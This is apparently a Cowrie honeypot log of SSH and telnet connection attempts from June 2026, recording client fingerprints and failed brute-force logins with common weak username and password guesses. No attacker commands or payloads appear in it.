{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":53800,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db3fba8e637","protocol":"ssh","message":"New connection: 103.216.145.2:53800 (10.17.0.5:22) [session: 2db3fba8e637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:11.801492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:11.805693Z","src_ip":"103.216.145.2","session":"2db3fba8e637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:12.001711Z","src_ip":"103.216.145.2","session":"2db3fba8e637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helpdesk","password":"helpdesk","message":"login attempt [helpdesk/helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:12.822027Z","src_ip":"103.216.145.2","session":"2db3fba8e637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:14.020114Z","src_ip":"103.216.145.2","session":"2db3fba8e637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.75773906707764,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:15.647433Z","src_ip":"128.199.8.54","session":"0f734143f87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":37356,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb006c6af21","protocol":"ssh","message":"New connection: 38.148.249.2:37356 (10.17.0.5:22) [session: 3cb006c6af21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:26.654175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:26.658500Z","src_ip":"38.148.249.2","session":"3cb006c6af21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:26.727078Z","src_ip":"38.148.249.2","session":"3cb006c6af21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1111","message":"login attempt [ftpuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:27.036300Z","src_ip":"38.148.249.2","session":"3cb006c6af21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:28.108114Z","src_ip":"38.148.249.2","session":"3cb006c6af21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":45493,"dst_ip":"10.17.0.5","dst_port":22,"session":"a961e9f9df5a","protocol":"ssh","message":"New connection: 170.80.65.140:45493 (10.17.0.5:22) [session: a961e9f9df5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:29.244245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:29.248505Z","src_ip":"170.80.65.140","session":"a961e9f9df5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:29.371412Z","src_ip":"170.80.65.140","session":"a961e9f9df5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1234","message":"login attempt [runner/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:29.897854Z","src_ip":"170.80.65.140","session":"a961e9f9df5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:31.023401Z","src_ip":"170.80.65.140","session":"a961e9f9df5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":51526,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f833d92845","protocol":"telnet","message":"New connection: 103.249.87.183:51526 (159.203.135.109:23) [session: e2f833d92845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:32.662918Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":41056,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9a18980cba","protocol":"ssh","message":"New connection: 109.237.96.109:41056 (10.17.0.5:22) [session: 1d9a18980cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:33.167366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:33.171010Z","src_ip":"109.237.96.109","session":"1d9a18980cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:33.264285Z","src_ip":"109.237.96.109","session":"1d9a18980cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max2005","message":"login attempt [root/max2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:33.546311Z","src_ip":"109.237.96.109","session":"1d9a18980cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:34.651749Z","src_ip":"109.237.96.109","session":"1d9a18980cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60344,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4815676f81","protocol":"ssh","message":"New connection: 103.176.20.57:60344 (10.17.0.5:22) [session: fc4815676f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.120129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.125142Z","src_ip":"103.176.20.57","session":"fc4815676f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.367397Z","src_ip":"103.176.20.57","session":"fc4815676f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":59402,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42930f1baab","protocol":"ssh","message":"New connection: 193.37.70.224:59402 (10.17.0.5:22) [session: e42930f1baab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.494445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.498620Z","src_ip":"193.37.70.224","session":"e42930f1baab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.587006Z","src_ip":"193.37.70.224","session":"e42930f1baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:47.844903Z","src_ip":"193.37.70.224","session":"e42930f1baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28111992","message":"login attempt [root/28111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:48.347656Z","src_ip":"103.176.20.57","session":"fc4815676f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:48.932429Z","src_ip":"193.37.70.224","session":"e42930f1baab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:49.596747Z","src_ip":"103.176.20.57","session":"fc4815676f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":49765,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb8c1ad6ccb","protocol":"ssh","message":"New connection: 216.155.93.75:49765 (159.203.135.109:22) [session: 0bb8c1ad6ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:53.154874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:53.158756Z","src_ip":"216.155.93.75","session":"0bb8c1ad6ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:53.314545Z","src_ip":"216.155.93.75","session":"0bb8c1ad6ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword@2026","message":"login attempt [root/P@ssword@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:53.976633Z","src_ip":"216.155.93.75","session":"0bb8c1ad6ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:55.136520Z","src_ip":"216.155.93.75","session":"0bb8c1ad6ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59492,"dst_ip":"159.203.135.109","dst_port":23,"session":"efbe559dca2c","protocol":"telnet","message":"New connection: 128.199.8.54:59492 (159.203.135.109:23) [session: efbe559dca2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:01.249078Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":47586,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc005de82d3","protocol":"ssh","message":"New connection: 91.92.40.13:47586 (10.17.0.5:22) [session: ffc005de82d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:02.675728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:02.922661Z","src_ip":"91.92.40.13","session":"ffc005de82d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:03.165634Z","src_ip":"91.92.40.13","session":"ffc005de82d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"123","message":"login attempt [backup/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:04.250933Z","src_ip":"91.92.40.13","session":"ffc005de82d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:05.543832Z","src_ip":"91.92.40.13","session":"ffc005de82d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.748483180999756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:06.411281Z","src_ip":"103.249.87.183","session":"e2f833d92845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.615594148635864,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:12.406372Z","src_ip":"128.199.8.54","session":"cfabd586eae6","protocol":"telnet"}
